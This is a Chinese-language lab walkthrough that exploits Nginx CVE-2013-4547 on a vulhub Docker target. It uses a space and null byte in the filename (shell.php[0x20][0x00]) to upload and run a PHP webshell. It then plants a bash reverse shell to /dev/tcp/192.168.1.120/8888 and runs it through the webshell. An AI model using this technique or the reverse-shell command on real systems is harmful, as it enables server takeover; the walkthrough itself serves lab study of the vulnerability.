Nginx CVE-2013-4547文件名逻辑漏洞
漏洞原理:传送门
实验环境
主机 | 角色 | IP |
---|---|---|
centos8 | 漏洞靶机 | 192.168.1.80 |
windows10 | 攻击机(burp) | 192.168.1.120 |
实验流程
开启漏洞靶机centos8
# 切换到vulhub目录
cd /usr/sbin/vulhub/nginx/CVE-2013-4547
# 开启docker服务
service docker start
# 创建docker镜像
docker-compose build
# 启动docker镜像
docker-compose up -d
上传一句话木马
尝试访问漏洞页面:
上传一个php文件:
如图所示,不支持该文件类型。
于是在burp中将文件名改为shell.php++
,再用十六进制改为shell.php[0x20][0x00]
,然后再次上传:
如图所示,上传成功。
在浏览器中直接访问http://192.168.1.80:8080/uploadfiles/shell.php%20%00是失败的,于是我们用burp访问。
同样的道理,我们访问该文件,然后用burp抓包,在burp中将数据包的url改为/uploadfiles/shell.php[0x20][0x00].php
,发送数据包。
如图所示,文件中的代码被成功解析为php,phpinfo()成功执行。
同样的道理,也可以上传一句话木马:
然后去访问木马文件,并传入参数:
如图所示,成功会显出命令执行结果。
反弹shell
先上传一个qianxun.png,内容为bash -i >& /dev/tcp/192.168.1.120/8888 0>&1
,作用是为windows主机反弹一个shell。
我们访问之前上传的木马文件,列出当前目录下文件列表:
再用mv命令将qianxun.png,改名为qianxun.sh:
现在windows10主机本地开启一个端口监听:
利用木马文件执行qianxun.sh:
如图所示,成功反弹shell。